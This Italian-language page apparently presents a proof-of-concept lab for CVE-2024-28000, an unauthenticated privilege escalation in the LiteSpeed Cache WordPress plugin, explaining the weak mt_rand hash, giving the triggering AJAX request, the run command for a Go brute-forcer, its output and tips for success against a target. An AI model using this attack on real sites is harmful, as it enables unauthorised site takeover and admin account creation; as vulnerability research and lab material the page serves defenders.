Torna agli aggiornamenti
UpdatedAug 7, 2026

CVE-2024-28000 — Updated!

Laboratorio pratico di exploit per CVE-2024-28000 — escalation di privilegi non autenticata in LiteSpeed Cache (plugin WordPress, <=6.3.0.1). Avvia un ambiente vulnerabile con Docker e include un brute-forcer basato su Go che decifra l'hash debole mt_rand per creare un account amministratore.

Condividi

CVE-2024-28000 - PoC di Privilege Escalation su LiteSpeed Cache

[!WARNING] Questo repository è destinato esclusivamente a scopi educativi e di ricerca.

  • Utilizza il PoC fornito esclusivamente su sistemi di tua proprietà o per i quali hai esplicita autorizzazione a testare.
  • Accesso non autorizzato, sfruttamento o uso improprio di qualsiasi materiale in questo repository è illegale.
  • L'autore/gli autori non si assumono alcuna responsabilità per eventuali danni, uso improprio o conseguenze legali derivanti da un utilizzo improprio.

Panoramica

CVE-2024-28000 è una vulnerabilità critica di privilege escalation non autenticata che interessa il plugin LiteSpeed Cache per WordPress. La vulnerabilità deriva da un meccanismo di autenticazione basato su hash debole nella funzionalità di simulazione del ruolo del crawler del plugin, consentendo a un attaccante completamente non autenticato di impersonare un amministratore WordPress e assumere il pieno controllo del sito.


Come funziona la vulnerabilità

Il plugin LiteSpeed Cache include un crawler che pre-riscalda la cache del sito visitando le pagine come diversi ruoli utente. Per autenticare il crawler, il plugin genera un hash breve e lo memorizza nella tabella delle opzioni di WordPress. Qualsiasi richiesta che presenti questo hash in un cookie riceve il ruolo utente specificato in un secondo cookie.

Tre difetti di progettazione si combinano per renderla sfruttabile:

Difetto 1 - Trigger dell'hash non autenticato

L'azione AJAX che genera l'hash è registrata per utenti non autenticati senza alcun controllo di capability o nonce:

// src/router.cls.php
add_action('wp_ajax_nopriv_async_litespeed', [$this, 'async_litespeed_handler']);

public function async_litespeed_handler() {
    // No capability check
    // No nonce verification
    // Any visitor can call this

    $type = sanitize_key($_POST['litespeed_type'] ?? '');

    if ($type === 'crawler') {
        $hash = Str::rrand(6);
        self::update_option(self::ITEM_HASH, $hash);
    }
    wp_die();
}

Un attaccante lo attiva inviando:

POST /wp-admin/admin-ajax.php
action=async_litespeed&litespeed_type=crawler

Difetto 2 - Hash prevedibile (spazio del seed di soli 1.000.000)

L'hash viene generato utilizzando mt_rand() di PHP inizializzato con la componente in microsecondi dell'ora corrente:

// src/str.cls.php
public static function rrand($len, $type = 7) {
    mt_srand((int) ((float) microtime() * 1000000));
    //       seed = microseconds = 0 to 999,999 only

    $charlist = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $str = '';
    for ($i = 0; $i < $len; $i++) {
        $str .= $charlist[mt_rand(0, strlen($charlist) - 1)];
    }
    return $str;
}

microtime() restituisce solo la frazione di secondo (ad es. 0.523847). Moltiplicata per 1.000.000, produce un seed compreso tra 0 e 999.999 - indipendentemente dall'ora del giorno. Un attaccante che attiva personalmente la generazione dell'hash conosce il momento approssimativo della generazione e può forzare tutti i milioni di seed in pochi minuti.

Difetto 3 - Nessun rate limiting sulla verifica

Il plugin verifica l'hash a ogni richiesta con un semplice confronto di stringhe e senza lockout o rate limiting:

// src/router.cls.php
public function is_role_simulation() {
    if (empty($_COOKIE['litespeed_hash'])) return;

    $hash = self::get_option(self::ITEM_HASH);

    // Simple string compare - no rate limiting, no IP check, no lockout
    if ($_COOKIE['litespeed_hash'] !== $hash) return;

    $role_id = isset($_COOKIE['litespeed_role']) ? (int)$_COOKIE['litespeed_role'] : 0;
    wp_set_current_user($role_id); // attacker becomes admin (ID = 1)
}

Flusso completo dell'attacco

sequenceDiagram
    participant A as Attacker
    participant W as LiteSpeed Cache / WordPress
    A->>W: POST /wp-admin/admin-ajax.php
    W->>W: Seed mt_rand() with microtime()
    W->>W: Generate & store litespeed_hash
    A->>A: Brute-force PRNG seed
    A->>A: Replicate PHP mt_rand() in Go
    A->>A: Recover litespeed_hash
    A->>W: Cookie: litespeed_hash=<recovered_hash>
    A->>W: Cookie: litespeed_role=1
    W->>W: verify_hash()
    W->>W: wp_set_current_user(1)
    A->>W: POST /index.php?rest_route=/wp/v2/users
    W-->>A: Administrator account created
    A->>W: Login with new Administrator account
    Note over A,W: Full Site Compromise

Configurazione del laboratorio

Requisiti

  • Docker
  • Go 1.21+

Installazione

# Clone the repository
git clone https://github.com/AliHzSec/CVE-2024-28000.git

# Change directory
cd CVE-2024-28000

# Set your server IP ( replace with YOUR_ACTUAL_IP ):
sed -i 's/YOUR_SERVER_IP/YOUR_ACTUAL_IP/g' lab/docker-compose.yml

# Build and start:
cd lab && docker compose up -d --build

# Watch setup progress:
docker compose logs -f wordpress

Attendi finché non vedi:

============================================================
 Lab ready!
 Admin  : http://YOUR_IP/wp-admin
 Login  : admin / admin123
 Plugin : LiteSpeed Cache 6.3.0.1 (CVE-2024-28000)
============================================================

Utilizzo

Esegui l'exploit

cd expl && go run main.go -url http://TARGET_IP/ -threads 40

Output previsto

============================================================
 CVE-2024-28000 - LiteSpeed Cache Privilege Escalation PoC
============================================================
 Target  : https://TARGET_IP/
 Seeds   : 0 to 999999 (1000000 total)
 Threads : 40
 Timeout : 5s
============================================================

[INF] Self-test passed - MT19937 output matches PHP (11 seeds verified)
[INF] Sanity check passed - endpoint returns 401 for wrong hash
[INF] Hash generation triggered successfully
[INF] Waiting 1 second for hash to be stored...
[INF] Starting brute-force with 40 threads...
[INF] [Thread  5] Testing seed 100000
[INF] [Thread  7] Testing seed 150000
[INF] [Thread  9] Testing seed 200000
[INF] [Thread  3] Testing seed 50000
[INF] [Thread 27] Testing seed 650000
[INF] [Thread 25] Testing seed 600000
[INF] [Thread 11] Testing seed 250000
[INF] [Thread 21] Testing seed 500000
[INF] [Thread 17] Testing seed 400000
[INF] [Thread 19] Testing seed 450000
[INF] [Thread 13] Testing seed 300000
[INF] [Thread 31] Testing seed 750000
[INF] [Thread 15] Testing seed 350000
[INF] [Thread  1] Testing seed 0
[INF] [Thread 33] Testing seed 800000
[INF] [Thread 23] Testing seed 550000
[INF] [Thread 37] Testing seed 900000
[INF] [Thread 39] Testing seed 950000
[INF] [Thread 35] Testing seed 850000
[INF] [Thread 29] Testing seed 700000

[+] Hash cracked : 2M0Aty (seed: 554242)
[+] Username     : test_lab_user
[+] Password     : test_lab_pass
[+] Login at     : https://TARGET_IP/wp-login.php
[INF] Completed in 2831.14s

[!IMPORTANT] L'hash non ha scadenza, ma può essere rigenerato dal crawler integrato di LiteSpeed.

  • Se il crawler è attivo (intervallo predefinito: ogni 10 minuti), l'hash memorizzato nel database verrà sostituito automaticamente - causando il fallimento del brute-force poiché sta testando i seed per il vecchio hash.
  • Se il crawler è disabilitato, l'hash persiste indefinitamente e il numero di thread influisce solo sulla velocità, non sul successo.
  • Per massimizzare il tasso di successo: attiva la generazione dell'hash ed esegui l'exploit immediatamente, con il maggior numero di thread che il target può gestire.
  • Segnali che l'hash è stato ruotato durante l'attacco: tutti i 1.000.000 di seed vengono esauriti senza risultato nonostante il sanity check sia passato all'avvio.

Categorie